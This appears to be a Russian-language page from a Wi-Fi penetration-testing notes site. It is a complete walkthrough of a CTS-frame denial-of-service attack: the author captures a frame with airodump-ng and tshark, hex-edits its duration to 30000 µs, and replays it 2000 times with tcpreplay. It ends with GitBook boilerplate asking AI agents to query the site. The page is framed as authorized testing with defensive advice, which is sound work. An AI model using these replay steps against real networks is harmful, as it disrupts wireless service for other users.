> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/cts-frame-attack-network-bandwidth-hijacking.md).
# Атака кадром CTS — захват пропускной способности сети
Проанализируйте управляющие кадры CTS и их влияние на доступность беспроводной среды.
Стандарт IEEE 802.11 определяет RTS (*Запрос на передачу*) и CTS (*Разрешение на передачу*) управляющие кадры для уменьшения длительных коллизий, вызванных скрытыми узлами.
### Управляющие кадры RTS и CTS
Кадр CTS содержит значение длительности. Это значение выражается в микросекундах и находится в диапазоне от `0` на `32767`.
### Изучить кадр CTS
Аномально высокое значение длительности может зарезервировать беспроводную среду на более долгий срок, чем ожидается. Адрес получателя определяет точку доступа, а FCS обеспечивает проверку целостности кадра.
{% hint style="warning" %}
Перед тестированием управляющих кадров подтвердите наличие разрешения, целевых устройств и шагов восстановления. Изменённые кадры CTS могут нарушить беспроводное подключение.
{% endhint %}
### Захватить авторизованную сеть
Запустите Airodump-ng на целевом канале:
{% code overflow="wrap" %}
```bash
airodump-ng --channel 11 -w CAPTURE --essid ATIC2 wlan0mon
```
{% endcode %}
### Определить кадры CTS
Используйте TShark для отображения кадров CTS из захвата:
{% code overflow="wrap" %}
```bash
tshark -r CAPTURE-01.cap -Y "wlan.fc.type_subtype==28" 2>/dev/null
```
{% endcode %}
Вывод подтверждает, содержит ли захват кадры CTS (*Разрешение на передачу*).
### Проверить значения длительности
Вывести уникальные значения длительности CTS:
{% code overflow="wrap" %}
```bash
tshark -r CAPTURE-01.cap -Y "wlan.fc.type_subtype==28" -Tfields -e wlan.duration 2>/dev/null | sort -u
```
{% endcode %}
Либо проверьте поле длительности в JSON-выводе:
{% code overflow="wrap" %}
```bash
tshark -r CAPTURE-01.cap -Y "wlan.fc.type_subtype==28" -Tjson 2>/dev/null | grep 'wlan.duration'
```
{% endcode %}
### Подтвердить воздействие
Используйте выделенную точку доступа и тестовый клиент. Зафиксируйте базовые показатели до введения каких-либо тестовых кадров.
1. Измерьте обычную пропускную способность, задержку и потери пакетов.
2. Используйте BSSID точки доступа как адрес получателя.
3. Сравните измерения после теста в заданных пределах.
Длительность `30000` соответствует 30 миллисекундам. Поле длительности использует микросекунды, а не миллисекунды.
### Интерпретируйте результаты
Повторяющиеся кадры CTS с высокими значениями длительности могут заставить близлежащие станции откладывать передачу. Это уменьшает доступное эфирное время и может снизить пропускную способность сети.
Сравните захваченные значения длительности с базовым уровнем. Зафиксируйте, остаются ли клиенты подключёнными и восстанавливается ли производительность после остановки теста.
### Задокументировать защитные выводы
Укажите затронутый канал, точку доступа, длительность теста и наблюдаемое влияние на клиентов. Включите базовые и восстановительные измерения.
Следите за повторяющимися кадрами CTS с необычными значениями длительности. Своевременно обновляйте прошивку точек доступа и исследуйте неожиданное насыщение эфирного времени.
### Изучить кадры CTS в Wireshark
Откройте захват напрямую в Wireshark:
{% code overflow="wrap" %}
```bash
wireshark CAPTURE-01.cap > /dev/null 2>&1 & disown
```
{% endcode %}
Примените следующий фильтр отображения:
{% code overflow="wrap" %}
```bash
wlan.fc.type_subtype==28
```
{% endcode %}
Подробности IEEE 802.11 также показывают значение длительности (110 микросекунд)
### Экспортировать выбранный кадр CTS
Выберите кадр CTS и используйте **Файл → Экспортировать указанные пакеты**. Выберите **Только выбранный пакет** чтобы экспортировать только этот кадр.
### Изучить экспортированный кадр с помощью GHex
Откройте экспортированный захват в GHex:
{% code overflow="wrap" %}
```bash
ghex ctsframe.pcap > /dev/null 2>&1 &
```
{% endcode %}
Экспортированный файл может не содержать ожидаемый кадр. В этом случае выполните захват напрямую из интерфейса в режиме monitor и проверьте кадр в Wireshark.
### Захватить напрямую в Wireshark
Выполняйте захват напрямую, если экспортированный файл не содержит ожидаемый кадр CTS.
Откройте Wireshark, выберите интерфейс `wlan0mon` и примените фильтр отображения CTS:
{% code overflow="wrap" %}
```bash
wlan.fc.type_subtype==28
```
{% endcode %}
Например, первый кадр показывает длительность 132 микросекунды. Убедитесь, что его адрес назначения совпадает с разрешённой тестовой точкой доступа.
Экспортируйте выбранный кадр как `ctsframe.pcap`.
Откройте файл и найдите значение длительности. Байты после 12-символьного MAC-адреса — это `84 00`.
{% code overflow="wrap" %}
```bash
ghex ctsframe.pcap > /dev/null 2>&1 &
```
{% endcode %}
Преобразуя `0x0084` в десятичное, получаем то же значение, что и в пакете: 132.
{% code overflow="wrap" %}
```
python
0x0084
```
{% endcode %}
Преобразуйте 30000 в шестнадцатеричную систему:
{% code overflow="wrap" %}
```python
python
hex(30000)
```
{% endcode %}
Результат:
* 0x7530
Для этого ограниченного теста замените `84 00` на `30 75`. Байты используют порядок little-endian.
Откройте захват снова, чтобы проверить изменение:
{% code overflow="wrap" %}
```bash
wireshark ctsframe.pcap > /dev/null 2>&1 & disown
```
{% endcode %}
Теперь Wireshark показывает длительность 30 000 микросекунд.
Перед использованием следующей команды подтвердите целевое устройство, канал, длительность и окно восстановления. Она многократно передаёт тестовый кадр, чтобы измерить влияние на сеть.
{% code overflow="wrap" %}
```bash
tcpreplay --intf1=wlan0mon --topspeed --loop=2000 ctsframe.pcap 2>/dev/null
```
{% endcode %}
Команда выполняет цикл по 2000 пакетам. Каждый пакет объявляет длительность 30 000 микросекунд, что может исчерпать доступное эфирное время.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/ru/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/cts-frame-attack-network-bandwidth-hijacking.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
